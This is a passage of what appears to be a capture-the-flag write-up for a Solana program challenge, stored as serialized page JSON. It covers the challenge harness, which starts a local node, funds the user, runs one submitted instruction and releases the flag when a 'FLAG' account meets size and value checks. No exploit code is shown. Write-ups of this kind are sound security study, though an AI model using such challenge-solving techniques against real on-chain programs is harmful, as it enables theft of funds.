42573],{"type":27,"value":4470},{"type":21,"tag":198,"props":42575,"children":42576},{"style":211},[42577],{"type":27,"value":16229},{"type":21,"tag":198,"props":42579,"children":42580},{"class":200,"line":429},[42581,42585,42589,42593],{"type":21,"tag":198,"props":42582,"children":42583},{"style":698},[42584],{"type":27,"value":41636},{"type":21,"tag":198,"props":42586,"children":42587},{"style":211},[42588],{"type":27,"value":706},{"type":21,"tag":198,"props":42590,"children":42591},{"style":226},[42592],{"type":27,"value":13440},{"type":21,"tag":198,"props":42594,"children":42595},{"style":211},[42596],{"type":27,"value":1470},{"type":21,"tag":198,"props":42598,"children":42599},{"class":200,"line":450},[42600],{"type":21,"tag":198,"props":42601,"children":42602},{"style":211},[42603],{"type":27,"value":880},{"type":21,"tag":198,"props":42605,"children":42606},{"class":200,"line":468},[42607],{"type":21,"tag":198,"props":42608,"children":42609},{"style":211},[42610],{"type":27,"value":1120},{"type":21,"tag":59,"props":42612,"children":42614},{"id":42613},"test-environment",[42615],{"type":27,"value":42616},"Test Environment",{"type":21,"tag":30,"props":42618,"children":42619},{},[42620],{"type":27,"value":42621},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":21,"tag":30,"props":42623,"children":42624},{},[42625,42627,42633],{"type":27,"value":42626},"When you connect to the server through a tcp connection, ",{"type":21,"tag":194,"props":42628,"children":42630},{"className":42629},[],[42631],{"type":27,"value":42632},"framework/src/main.rs::handle_connection",{"type":27,"value":42634}," gets executed, which does the following:",{"type":21,"tag":71,"props":42636,"children":42637},{},[42638],{"type":21,"tag":75,"props":42639,"children":42640},{},[42641],{"type":27,"value":42642},"Creates a new Solana local node",{"type":21,"tag":187,"props":42644,"children":42646},{"className":3789,"code":42645,"language":3788,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[42647],{"type":21,"tag":194,"props":42648,"children":42649},{"__ignoreMap":7},[42650,42731,42807],{"type":21,"tag":198,"props":42651,"children":42652},{"class":200,"line":201},[42653,42657,42661,42666,42670,42675,42679,42684,42688,42693,42697,42702,42706,42710,42714,42719,42723,42727],{"type":21,"tag":198,"props":42654,"children":42655},{"style":249},[42656],{"type":27,"value":12597},{"type":21,"tag":198,"props":42658,"children":42659},{"style":249},[42660],{"type":27,"value":3814},{"type":21,"tag":198,"props":42662,"children":42663},{"style":226},[42664],{"type":27,"value":42665}," builder",{"type":21,"tag":198,"props":42667,"children":42668},{"style":683},[42669],{"type":27,"value":979},{"type":21,"tag":198,"props":42671,"children":42672},{"style":1966},[42673],{"type":27,"value":42674}," ChallengeBuilder",{"type":21,"tag":198,"props":42676,"children":42677},{"style":683},[42678],{"type":27,"value":4286},{"type":21,"tag":198,"props":42680,"children":42681},{"style":698},[42682],{"type":27,"value":42683},"try_from",{"type":21,"tag":198,"props":42685,"children":42686},{"style":211},[42687],{"type":27,"value":706},{"type":21,"tag":198,"props":42689,"children":42690},{"style":226},[42691],{"type":27,"value":42692},"socket",{"type":21,"tag":198,"props":42694,"children":42695},{"style":683},[42696],{"type":27,"value":658},{"type":21,"tag":198,"props":42698,"children":42699},{"style":698},[42700],{"type":27,"value":42701},"try_clone",{"type":21,"tag":198,"props":42703,"children":42704},{"style":211},[42705],{"type":27,"value":14686},{"type":21,"tag":198,"props":42707,"children":42708},{"style":683},[42709],{"type":27,"value":658},{"type":21,"tag":198,"props":42711,"children":42712},{"style":698},[42713],{"type":27,"value":4470},{"type":21,"tag":198,"props":42715,"children":42716},{"style":211},[42717],{"type":27,"value":42718},"())",{"type":21,"tag":198,"props":42720,"children":42721},{"style":683},[42722],{"type":27,"value":658},{"type":21,"tag":198,"props":42724,"children":42725},{"style":698},[42726],{"type":27,"value":4470},{"type":21,"tag":198,"props":42728,"children":42729},{"style":211},[42730],{"type":27,"value":3404},{"type":21,"tag":198,"props":42732,"children":42733},{"class":200,"line":217},[42734,42739,42743,42748,42752,42757,42761,42766,42770,42775,42780,42784,42789,42793,42798,42802],{"type":21,"tag":198,"props":42735,"children":42736},{"style":698},[42737],{"type":27,"value":42738},"assert!",{"type":21,"tag":198,"props":42740,"children":42741},{"style":211},[42742],{"type":27,"value":706},{"type":21,"tag":198,"props":42744,"children":42745},{"style":226},[42746],{"type":27,"value":42747},"builder",{"type":21,"tag":198,"props":42749,"children":42750},{"style":683},[42751],{"type":27,"value":658},{"type":21,"tag":198,"props":42753,"children":42754},{"style":698},[42755],{"type":27,"value":42756},"add_program",{"type":21,"tag":198,"props":42758,"children":42759},{"style":211},[42760],{"type":27,"value":706},{"type":21,"tag":198,"props":42762,"children":42763},{"style":205},[42764],{"type":27,"value":42765},"\"/path/to/chall.so\"",{"type":21,"tag":198,"props":42767,"children":42768},{"style":211},[42769],{"type":27,"value":828},{"type":21,"tag":198,"props":42771,"children":42772},{"style":1966},[42773],{"type":27,"value":42774},"Some",{"type":21,"tag":198,"props":42776,"children":42777},{"style":211},[42778],{"type":27,"value":42779},"(chall",{"type":21,"tag":198,"props":42781,"children":42782},{"style":683},[42783],{"type":27,"value":4286},{"type":21,"tag":198,"props":42785,"children":42786},{"style":211},[42787],{"type":27,"value":42788},"ID)) ",{"type":21,"tag":198,"props":42790,"children":42791},{"style":683},[42792],{"type":27,"value":9386},{"type":21,"tag":198,"props":42794,"children":42795},{"style":211},[42796],{"type":27,"value":42797}," chall",{"type":21,"tag":198,"props":42799,"children":42800},{"style":683},[42801],{"type":27,"value":4286},{"type":21,"tag":198,"props":42803,"children":42804},{"style":211},[42805],{"type":27,"value":42806},"ID);\n",{"type":21,"tag":198,"props":42808,"children":42809},{"class":200,"line":236},[42810,42814,42818,42822,42826,42830,42834,42839,42843,42847,42851],{"type":21,"tag":198,"props":42811,"children":42812},{"style":249},[42813],{"type":27,"value":12597},{"type":21,"tag":198,"props":42815,"children":42816},{"style":249},[42817],{"type":27,"value":3814},{"type":21,"tag":198,"props":42819,"children":42820},{"style":226},[42821],{"type":27,"value":42797},{"type":21,"tag":198,"props":42823,"children":42824},{"style":683},[42825],{"type":27,"value":979},{"type":21,"tag":198,"props":42827,"children":42828},{"style":226},[42829],{"type":27,"value":42665},{"type":21,"tag":198,"props":42831,"children":42832},{"style":683},[42833],{"type":27,"value":658},{"type":21,"tag":198,"props":42835,"children":42836},{"style":698},[42837],{"type":27,"value":42838},"build",{"type":21,"tag":198,"props":42840,"children":42841},{"style":211},[42842],{"type":27,"value":14686},{"type":21,"tag":198,"props":42844,"children":42845},{"style":683},[42846],{"type":27,"value":658},{"type":21,"tag":198,"props":42848,"children":42849},{"style":640},[42850],{"type":27,"value":33695},{"type":21,"tag":198,"props":42852,"children":42853},{"style":211},[42854],{"type":27,"value":1483},{"type":21,"tag":71,"props":42856,"children":42857},{"start":217},[42858],{"type":21,"tag":75,"props":42859,"children":42860},{},[42861],{"type":27,"value":42862},"Funds the user account with 100 SOL",{"type":21,"tag":187,"props":42864,"children":42866},{"className":3789,"code":42865,"language":3788,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[42867],{"type":21,"tag":194,"props":42868,"children":42869},{"__ignoreMap":7},[42870,42903,42935,42942,42984,43016,43023,43031,43095,43114,43121],{"type":21,"tag":198,"props":42871,"children":42872},{"class":200,"line":201},[42873,42877,42882,42886,42891,42895,42899],{"type":21,"tag":198,"props":42874,"children":42875},{"style":249},[42876],{"type":27,"value":12597},{"type":21,"tag":198,"props":42878,"children":42879},{"style":226},[42880],{"type":27,"value":42881}," user_keypair",{"type":21,"tag":198,"props":42883,"children":42884},{"style":683},[42885],{"type":27,"value":979},{"type":21,"tag":198,"props":42887,"children":42888},{"style":1966},[42889],{"type":27,"value":42890}," Keypair",{"type":21,"tag":198,"props":42892,"children":42893},{"style":683},[42894],{"type":27,"value":4286},{"type":21,"tag":198,"props":42896,"children":42897},{"style":698},[42898],{"type":27,"value":15927},{"type":21,"tag":198,"props":42900,"children":42901},{"style":211},[42902],{"type":27,"value":3404},{"type":21,"tag":198,"props":42904,"children":42905},{"class":200,"line":217},[42906,42910,42915,42919,42923,42927,42931],{"type":21,"tag":198,"props":42907,"children":42908},{"style":249},[42909],{"type":27,"value":12597},{"type":21,"tag":198,"props":42911,"children":42912},{"style":226},[42913],{"type":27,"value":42914}," user",{"type":21,"tag":198,"props":42916,"children":42917},{"style":683},[42918],{"type":27,"value":979},{"type":21,"tag":198,"props":42920,"children":42921},{"style":226},[42922],{"type":27,"value":42881},{"type":21,"tag":198,"props":42924,"children":42925},{"style":683},[42926],{"type":27,"value":658},{"type":21,"tag":198,"props":42928,"children":42929},{"style":698},[42930],{"type":27,"value":4349},{"type":21,"tag":198,"props":42932,"children":42933},{"style":211},[42934],{"type":27,"value":3404},{"type":21,"tag":198,"props":42936,"children":42937},{"class":200,"line":236},[42938],{"type":21,"tag":198,"props":42939,"children":42940},{"emptyLinePlaceholder":16},[42941],{"type":27,"value":1283},{"type":21,"tag":198,"props":42943,"children":42944},{"class":200,"line":260},[42945,42949,42954,42958,42962,42967,42971,42975,42979],{"type":21,"tag":198,"props":42946,"children":42947},{"style":249},[42948],{"type":27,"value":12597},{"type":21,"tag":198,"props":42950,"children":42951},{"style":226},[42952],{"type":27,"value":42953}," payer_keypair",{"type":21,"tag":198,"props":42955,"children":42956},{"style":683},[42957],{"type":27,"value":979},{"type":21,"tag":198,"props":42959,"children":42960},{"style":683},[42961],{"type":27,"value":7953},{"type":21,"tag":198,"props":42963,"children":42964},{"style":226},[42965],{"type":27,"value":42966},"chall",{"type":21,"tag":198,"props":42968,"children":42969},{"style":683},[42970],{"type":27,"value":658},{"type":21,"tag":198,"props":42972,"children":42973},{"style":211},[42974],{"type":27,"value":21075},{"type":21,"tag":198,"props":42976,"children":42977},{"style":683},[42978],{"type":27,"value":658},{"type":21,"tag":198,"props":42980,"children":42981},{"style":211},[42982],{"type":27,"value":42983},"payer;\n",{"type":21,"tag":198,"props":42985,"children":42986},{"class":200,"line":281},[42987,42991,42996,43000,43004,43008,43012],{"type":21,"tag":198,"props":42988,"children":42989},{"style":249},[42990],{"type":27,"value":12597},{"type":21,"tag":198,"props":42992,"children":42993},{"style":226},[42994],{"type":27,"value":42995}," payer",{"type":21,"tag":198,"props":42997,"children":42998},{"style":683},[42999],{"type":27,"value":979},{"type":21,"tag":198,"props":43001,"children":43002},{"style":226},[43003],{"type":27,"value":42953},{"type":21,"tag":198,"props":43005,"children":43006},{"style":683},[43007],{"type":27,"value":658},{"type":21,"tag":198,"props":43009,"children":43010},{"style":698},[43011],{"type":27,"value":4349},{"type":21,"tag":198,"props":43013,"children":43014},{"style":211},[43015],{"type":27,"value":3404},{"type":21,"tag":198,"props":43017,"children":43018},{"class":200,"line":302},[43019],{"type":21,"tag":198,"props":43020,"children":43021},{"emptyLinePlaceholder":16},[43022],{"type":27,"value":1283},{"type":21,"tag":198,"props":43024,"children":43025},{"class":200,"line":323},[43026],{"type":21,"tag":198,"props":43027,"children":43028},{"style":226},[43029],{"type":27,"value":43030},"chall\n",{"type":21,"tag":198,"props":43032,"children":43033},{"class":200,"line":344},[43034,43039,43044,43049,43053,43057,43061,43065,43070,43074,43078,43082,43086,43091],{"type":21,"tag":198,"props":43035,"children":43036},{"style":683},[43037],{"type":27,"value":43038}," .",{"type":21,"tag":198,"props":43040,"children":43041},{"style":698},[43042],{"type":27,"value":43043},"run_ix",{"type":21,"tag":198,"props":43045,"children":43046},{"style":211},[43047],{"type":27,"value":43048},"(system_instruction",{"type":21,"tag":198,"props":43050,"children":43051},{"style":683},[43052],{"type":27,"value":4286},{"type":21,"tag":198,"props":43054,"children":43055},{"style":698},[43056],{"type":27,"value":32909},{"type":21,"tag":198,"props":43058,"children":43059},{"style":211},[43060],{"type":27,"value":706},{"type":21,"tag":198,"props":43062,"children":43063},{"style":683},[43064],{"type":27,"value":3917},{"type":21,"tag":198,"props":43066,"children":43067},{"style":226},[43068],{"type":27,"value":43069},"payer",{"type":21,"tag":198,"props":43071,"children":43072},{"style":211},[43073],{"type":27,"value":828},{"type":21,"tag":198,"props":43075,"children":43076},{"style":683},[43077],{"type":27,"value":3917},{"type":21,"tag":198,"props":43079,"children":43080},{"style":226},[43081],{"type":27,"value":21027},{"type":21,"tag":198,"props":43083,"children":43084},{"style":211},[43085],{"type":27,"value":828},{"type":21,"tag":198,"props":43087,"children":43088},{"style":2540},[43089],{"type":27,"value":43090},"100_000_000_000",{"type":21,"tag":198,"props":43092,"children":43093},{"style":211},[43094],{"type":27,"value":872},{"type":21,"tag":198,"props":43096,"children":43097},{"class":200,"line":365},[43098,43102,43106,43110],{"type":21,"tag":198,"props":43099,"children":43100},{"style":683},[43101],{"type":27,"value":43038},{"type":21,"tag":198,"props":43103,"children":43104},{"style":640},[43105],{"type":27,"value":33695},{"type":21,"tag":198,"props":43107,"children":43108},{"style":683},[43109],{"type":27,"value":2156},{"type":21,"tag":198,"props":43111,"children":43112},{"style":211},[43113],{"type":27,"value":1483},{"type":21,"tag":198,"props":43115,"children":43116},{"class":200,"line":386},[43117],{"type":21,"tag":198,"props":43118,"children":43119},{"emptyLinePlaceholder":16},[43120],{"type":27,"value":1283},{"type":21,"tag":198,"props":43122,"children":43123},{"class":200,"line":408},[43124,43129,43133,43137,43141,43146,43150,43154,43158,43162],{"type":21,"tag":198,"props":43125,"children":43126},{"style":698},[43127],{"type":27,"value":43128},"writeln!",{"type":21,"tag":198,"props":43130,"children":43131},{"style":211},[43132],{"type":27,"value":706},{"type":21,"tag":198,"props":43134,"children":43135},{"style":226},[43136],{"type":27,"value":42692},{"type":21,"tag":198,"props":43138,"children":43139},{"style":211},[43140],{"type":27,"value":828},{"type":21,"tag":198,"props":43142,"children":43143},{"style":205},[43144],{"type":27,"value":43145},"\"user: {}\"",{"type":21,"tag":198,"props":43147,"children":43148},{"style":211},[43149],{"type":27,"value":828},{"type":21,"tag":198,"props":43151,"children":43152},{"style":226},[43153],{"type":27,"value":21027},{"type":21,"tag":198,"props":43155,"children":43156},{"style":211},[43157],{"type":27,"value":2109},{"type":21,"tag":198,"props":43159,"children":43160},{"style":683},[43161],{"type":27,"value":2156},{"type":21,"tag":198,"props":43163,"children":43164},{"style":211},[43165],{"type":27,"value":1483},{"type":21,"tag":71,"props":43167,"children":43168},{"start":236},[43169],{"type":21,"tag":75,"props":43170,"children":43171},{},[43172],{"type":27,"value":43173},"Reads an instruction from the tcp stream and executes it",{"type":21,"tag":187,"props":43175,"children":43177},{"className":3789,"code":43176,"language":3788,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[43178],{"type":21,"tag":194,"props":43179,"children":43180},{"__ignoreMap":7},[43181,43231],{"type":21,"tag":198,"props":43182,"children":43183},{"class":200,"line":201},[43184,43188,43193,43197,43201,43205,43210,43214,43218,43223,43227],{"type":21,"tag":198,"props":43185,"children":43186},{"style":249},[43187],{"type":27,"value":12597},{"type":21,"tag":198,"props":43189,"children":43190},{"style":226},[43191],{"type":27,"value":43192}," solve_ix",{"type":21,"tag":198,"props":43194,"children":43195},{"style":683},[43196],{"type":27,"value":979},{"type":21,"tag":198,"props":43198,"children":43199},{"style":226},[43200],{"type":27,"value":42797},{"type":21,"tag":198,"props":43202,"children":43203},{"style":683},[43204],{"type":27,"value":658},{"type":21,"tag":198,"props":43206,"children":43207},{"style":698},[43208],{"type":27,"value":43209},"read_instruction",{"type":21,"tag":198,"props":43211,"children":43212},{"style":211},[43213],{"type":27,"value":42779},{"type":21,"tag":198,"props":43215,"children":43216},{"style":683},[43217],{"type":27,"value":4286},{"type":21,"tag":198,"props":43219,"children":43220},{"style":211},[43221],{"type":27,"value":43222},"ID)",{"type":21,"tag":198,"props":43224,"children":43225},{"style":683},[43226],{"type":27,"value":2156},{"type":21,"tag":198,"props":43228,"children":43229},{"style":211},[43230],{"type":27,"value":1483},{"type":21,"tag":198,"props":43232,"children":43233},{"class":200,"line":217},[43234,43238,43242,43247,43251,43255,43259,43264,43268,43272,43276,43280,43285,43289,43293,43297,43301,43305,43309,43313],{"type":21,"tag":198,"props":43235,"children":43236},{"style":226},[43237],{"type":27,"value":42966},{"type":21,"tag":198,"props":43239,"children":43240},{"style":683},[43241],{"type":27,"value":658},{"type":21,"tag":198,"props":43243,"children":43244},{"style":698},[43245],{"type":27,"value":43246},"run_ixs_full",{"type":21,"tag":198,"props":43248,"children":43249},{"style":211},[43250],{"type":27,"value":706},{"type":21,"tag":198,"props":43252,"children":43253},{"style":683},[43254],{"type":27,"value":3917},{"type":21,"tag":198,"props":43256,"children":43257},{"style":211},[43258],{"type":27,"value":2051},{"type":21,"tag":198,"props":43260,"children":43261},{"style":226},[43262],{"type":27,"value":43263},"solve_ix",{"type":21,"tag":198,"props":43265,"children":43266},{"style":211},[43267],{"type":27,"value":23853},{"type":21,"tag":198,"props":43269,"children":43270},{"style":683},[43271],{"type":27,"value":3917},{"type":21,"tag":198,"props":43273,"children":43274},{"style":211},[43275],{"type":27,"value":2051},{"type":21,"tag":198,"props":43277,"children":43278},{"style":683},[43279],{"type":27,"value":3917},{"type":21,"tag":198,"props":43281,"children":43282},{"style":226},[43283],{"type":27,"value":43284},"user_keypair",{"type":21,"tag":198,"props":43286,"children":43287},{"style":211},[43288],{"type":27,"value":23853},{"type":21,"tag":198,"props":43290,"children":43291},{"style":683},[43292],{"type":27,"value":3917},{"type":21,"tag":198,"props":43294,"children":43295},{"style":226},[43296],{"type":27,"value":21027},{"type":21,"tag":198,"props":43298,"children":43299},{"style":211},[43300],{"type":27,"value":2109},{"type":21,"tag":198,"props":43302,"children":43303},{"style":683},[43304],{"type":27,"value":658},{"type":21,"tag":198,"props":43306,"children":43307},{"style":640},[43308],{"type":27,"value":33695},{"type":21,"tag":198,"props":43310,"children":43311},{"style":683},[43312],{"type":27,"value":2156},{"type":21,"tag":198,"props":43314,"children":43315},{"style":211},[43316],{"type":27,"value":1483},{"type":21,"tag":71,"props":43318,"children":43319},{"start":260},[43320],{"type":21,"tag":75,"props":43321,"children":43322},{},[43323],{"type":27,"value":43324},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":21,"tag":187,"props":43326,"children":43328},{"className":3789,"code":43327,"language":3788,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n if acct.data.len() == 0x1337\n && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n {\n writeln!(socket, \"congrats!\")?;\n if let Ok(flag) = env::var(\"FLAG\") {\n writeln!(socket, \"flag: {:?}\", flag)?;\n } else {\n writeln!(socket, \"flag not found, please contact admin\")?;\n }\n }\n}\n",[43329],{"type":21,"tag":194,"props":43330,"children":43331},{"__ignoreMap":7},[43332,43416,43507,43548,43632,43639,43676,43733,43778,43793,43829,43836,43843],{"type":21,"tag":198,"props":43333,"children":43334},{"class":200,"line":201},[43335,43339,43344,43348,43352,43356,43361,43365,43369,43373,43378,43382,43387,43392,43396,43400,43404,43408,43412],{"type":21,"tag":198,"props":43336,"children":43337},{"style":249},[43338],{"type":27,"value":12597},{"type":21,"tag":198,"props":43340,"children":43341},{"style":226},[43342],{"type":27,"value":43343}," flag",{"type":21,"tag":198,"props":43345,"children":43346},{"style":683},[43347],{"type":27,"value":979},{"type":21,"tag":198,"props":43349,"children":43350},{"style":1966},[43351],{"type":27,"value":21650},{"type":21,"tag":198,"props":43353,"children":43354},{"style":683},[43355],{"type":27,"value":4286},{"type":21,"tag":198,"props":43357,"children":43358},{"style":698},[43359],{"type":27,"value":43360},"create_program_address",{"type":21,"tag":198,"props":43362,"children":43363},{"style":211},[43364],{"type":27,"value":706},{"type":21,"tag":198,"props":43366,"children":43367},{"style":683},[43368],{"type":27,"value":3917},{"type":21,"tag":198,"props":43370,"children":43371},{"style":211},[43372],{"type":27,"value":2051},{"type":21,"tag":198,"props":43374,"children":43375},{"style":205},[43376],{"type":27,"value":43377},"\"FLAG\"",{"type":21,"tag":198,"props":43379,"children":43380},{"style":683},[43381],{"type":27,"value":658},{"type":21,"tag":198,"props":43383,"children":43384},{"style":698},[43385],{"type":27,"value":43386},"as_ref",{"type":21,"tag":198,"props":43388,"children":43389},{"style":211},[43390],{"type":27,"value":43391},"()], ",{"type":21,"tag":198,"props":43393,"children":43394},{"style":683},[43395],{"type":27,"value":3917},{"type":21,"tag":198,"props":43397,"children":43398},{"style":211},[43399],{"type":27,"value":42966},{"type":21,"tag":198,"props":43401,"children":43402},{"style":683},[43403],{"type":27,"value":4286},{"type":21,"tag":198,"props":43405,"children":43406},{"style":211},[43407],{"type":27,"value":43222},{"type":21,"tag":198,"props":43409,"children":43410},{"style":683},[43411],{"type":27,"value":2156},{"type":21,"tag":198,"props":43413,"children":43414},{"style":211},[43415],{"type":27,"value":1483},{"type":21,"tag":198,"props":43417,"children":43418},{"class":200,"line":217},[43419,43423,43427,43431,43435,43440,43444,43448,43452,43456,43460,43464,43469,43473,43478,43482,43487,43491,43495,43499,43503],{"type":21,"tag":198,"props":43420,"children":43421},{"style":640},[43422],{"type":27,"value":16382},{"type":21,"tag":198,"props":43424,"children":43425},{"style":249},[43426],{"type":27,"value":28109},{"type":21,"tag":198,"props":43428,"children":43429},{"style":1966},[43430],{"type":27,"value":28114},{"type":21,"tag":198,"props":43432,"children":43433},{"style":211},[43434],{"type":27,"value":706},{"type":21,"tag":198,"props":43436,"children":43437},{"style":226},[43438],{"type":27,"value":43439},"acct",{"type":21,"tag":198,"props":43441,"children":43442},{"style":211},[43443],{"type":27,"value":1541},{"type":21,"tag":198,"props":43445,"children":43446},{"style":683},[43447],{"type":27,"value":3174},{"type":21,"tag":198,"props":43449,"children":43450},{"style":226},[43451],{"type":27,"value":42797},{"type":21,"tag":198,"props":43453,"children":43454},{"style":683},[43455],{"type":27,"value":658},{"type":21,"tag":198,"props":43457,"children":43458},{"style":211},[43459],{"type":27,"value":21075},{"type":21,"tag":198,"props":43461,"children":43462},{"style":683},[43463],{"type":27,"value":658},{"type":21,"tag":198,"props":43465,"children":43466},{"style":211},[43467],{"type":27,"value":43468},"banks_client",{"type":21,"tag":198,"props":43470,"children":43471},{"style":683},[43472],{"type":27,"value":658},{"type":21,"tag":198,"props":43474,"children":43475},{"style":698},[43476],{"type":27,"value":43477},"get_account",{"type":21,"tag":198,"props":43479,"children":43480},{"style":211},[43481],{"type":27,"value":706},{"type":21,"tag":198,"props":43483,"children":43484},{"style":226},[43485],{"type":27,"value":43486},"flag",{"type":21,"tag":198,"props":43488,"children":43489},{"style":211},[43490],{"type":27,"value":2109},{"type":21,"tag":198,"props":43492,"children":43493},{"style":683},[43494],{"type":27,"value":658},{"type":21,"tag":198,"props":43496,"children":43497},{"style":640},[43498],{"type":27,"value":33695},{"type":21,"tag":198,"props":43500,"children":43501},{"style":683},[43502],{"type":27,"value":2156},{"type":21,"tag":198,"props":43504,"children":43505},{"style":211},[43506],{"type":27,"value":233},{"type":21,"tag":198,"props":43508,"children":43509},{"class":200,"line":236},[43510,43514,43519,43523,43527,43531,43535,43539,43543],{"type":21,"tag":198,"props":43511,"children":43512},{"style":640},[43513],{"type":27,"value":643},{"type":21,"tag":198,"props":43515,"children":43516},{"style":226},[43517],{"type":27,"value":43518}," acct",{"type":21,"tag":198,"props":43520,"children":43521},{"style":683},[43522],{"type":27,"value":658},{"type":21,"tag":198,"props":43524,"children":43525},{"style":211},[43526],{"type":27,"value":4508},{"type":21,"tag":198,"props":43528,"children":43529},{"style":683},[43530],{"type":27,"value":658},{"type":21,"tag":198,"props":43532,"children":43533},{"style":698},[43534],{"type":27,"value":9950},{"type":21,"tag":198,"props":43536,"children":43537},{"style":211},[43538],{"type":27,"value":14850},{"type":21,"tag":198,"props":43540,"children":43541},{"style":683},[43542],{"type":27,"value":9386},{"type":21,"tag":198,"props":43544,"children":43545},{"style":2540},[43546],{"type":27,"value":43547}," 0x1337\n",{"type":21,"tag":198,"props":43549,"children":43550},{"class":200,"line":260},[43551,43556,43560,43564,43569,43573,43577,43581,43586,43590,43594,43598,43602,43606,43610,43614,43618,43623,43627],{"type":21,"tag":198,"props":43552,"children":43553},{"style":683},[43554],{"type":27,"value":43555}," &&",{"type":21,"tag":198,"props":43557,"children":43558},{"style":1966},[43559],{"type":27,"value":6673},{"type":21,"tag":198,"props":43561,"children":43562},{"style":683},[43563],{"type":27,"value":4286},{"type":21,"tag":198,"props":43565,"children":43566},{"style":698},[43567],{"type":27,"value":43568},"from_le_bytes",{"type":21,"tag":198,"props":43570,"children":43571},{"style":211},[43572],{"type":27,"value":706},{"type":21,"tag":198,"props":43574,"children":43575},{"style":226},[43576],{"type":27,"value":43439},{"type":21,"tag":198,"props":43578,"children":43579},{"style":683},[43580],{"type":27,"value":658},{"type":21,"tag":198,"props":43582,"children":43583},{"style":211},[43584],{"type":27,"value":43585},"data[",{"type":21,"tag":198,"props":43587,"children":43588},{"style":683},[43589],{"type":27,"value":3860},{"type":21,"tag":198,"props":43591,"children":43592},{"style":2540},[43593],{"type":27,"value":4887},{"type":21,"tag":198,"props":43595,"children":43596},{"style":211},[43597],{"type":27,"value":2071},{"type":21,"tag":198,"props":43599,"children":43600},{"style":683},[43601],{"type":27,"value":658},{"type":21,"tag":198,"props":43603,"children":43604},{"style":698},[43605],{"type":27,"value":26966},{"type":21,"tag":198,"props":43607,"children":43608},{"style":211},[43609],{"type":27,"value":14686},{"type":21,"tag":198,"props":43611,"children":43612},{"style":683},[43613],{"type":27,"value":658},{"type":21,"tag":198,"props":43615,"children":43616},{"style":698},[43617],{"type":27,"value":4470},{"type":21,"tag":198,"props":43619,"children":43620},{"style":211},[43621],{"type":27,"value":43622},"()) ",{"type":21,"tag":198,"props":43624,"children":43625},{"style":683},[43626],{"type":27,"value":9386},{"type":21,"tag":198,"props":43628,"children":43629},{"style":2540},[43630],{"type":27,"value":43631}," 0x4337\n",{"type":21,"tag":198,"props":43633,"children":43634},{"class":200,"line":281},[43635],{"type":21,"tag":198,"props":43636,"children":43637},{"style":211},[43638],{"type":27,"value":29989},{"type":21,"tag":198,"props":43640,"children":43641},{"class":200,"line":302},[43642,43647,43651,43655,43659,43664,43668,43672],{"type":21,"tag":198,"props":43643,"children":43644},{"style":698},[43645],{"type":27,"value":43646}," writeln!",{"type":21,"tag":198,"props":43648,"children":43649},{"style":211},[43650],{"type":27,"value":706},{"type":21,"tag":198,"props":43652,"children":43653},{"style":226},[43654],{"type":27,"value":42692},{"type":21,"tag":198,"props":43656,"children":43657},{"style":211},[43658],{"type":27,"value":828},{"type":21,"tag":198,"props":43660,"children":43661},{"style":205},[43662],{"type":27,"value":43663},"\"congrats!\"",{"type":21,"tag":198,"props":43665,"children":43666},{"style":211},[43667],{"type":27,"value":2109},{"type":21,"tag":198,"props":43669,"children":43670},{"style":683},[43671],{"type":27,"value":2156},{"type":21,"tag":198,"props":43673,"children":43674},{"style":211},[43675],{"type":27,"value":1483},{"type":21,"tag":198,"props":43677,"children":43678},{"class":200,"line":323},[43679,43683,43687,43692,43696,43700,43704,43708,43713,43717,43721,43725,43729],{"type":21,"tag":198,"props":43680,"children":43681},{"style":640},[43682],{"type":27,"value":4079},{"type":21,"tag":198,"props":43684,"children":43685},{"style":249},[43686],{"type":27,"value":28109},{"type":21,"tag":198,"props":43688,"children":43689},{"style":1966},[43690],{"type":27,"value":43691}," Ok",{"type":21,"tag":198,"props":43693,"children":43694},{"style":211},[43695],{"type":27,"value":706},{"type":21,"tag":198,"props":43697,"children":43698},{"style":226},[43699],{"type":27,"value":43486},{"type":21,"tag":198,"props":43701,"children":43702},{"style":211},[43703],{"type":27,"value":1541},{"type":21,"tag":198,"props":43705,"children":43706},{"style":683},[43707],{"type":27,"value":3174},{"type":21,"tag":198,"props":43709,"children":43710},{"style":211},[43711],{"type":27,"value":43712}," env",{"type":21,"tag":198,"props":43714,"children":43715},{"style":683},[43716],{"type":27,"value":4286},{"type":21,"tag":198,"props":43718,"children":43719},{"style":698},[43720],{"type":27,"value":35822},{"type":21,"tag":198,"props":43722,"children":43723},{"style":211},[43724],{"type":27,"value":706},{"type":21,"tag":198,"props":43726,"children":43727},{"style":205},[43728],{"type":27,"value":43377},{"type":21,"tag":198,"props":43730,"children":43731},{"style":211},[43732],{"type":27,"value":668},{"type":21,"tag":198,"props":43734,"children":43735},{"class":200,"line":344},[43736,43741,43745,43749,43753,43758,43762,43766,43770,43774],{"type":21,"tag":198,"props":43737,"children":43738},{"style":698},[43739],{"type":27,"value":43740}," writeln!",{"type":21,"tag":198,"props":43742,"children":43743},{"style":211},[43744],{"type":27,"value":706},{"type":21,"tag":198,"props":43746,"children":43747},{"style":226},[43748],{"type":27,"value":42692},{"type":21,"tag":198,"props":43750,"children":43751},{"style":211},[43752],{"type":27,"value":828},{"type":21,"tag":198,"props":43754,"children":43755},{"style":205},[43756],{"type":27,"value":43757},"\"flag: 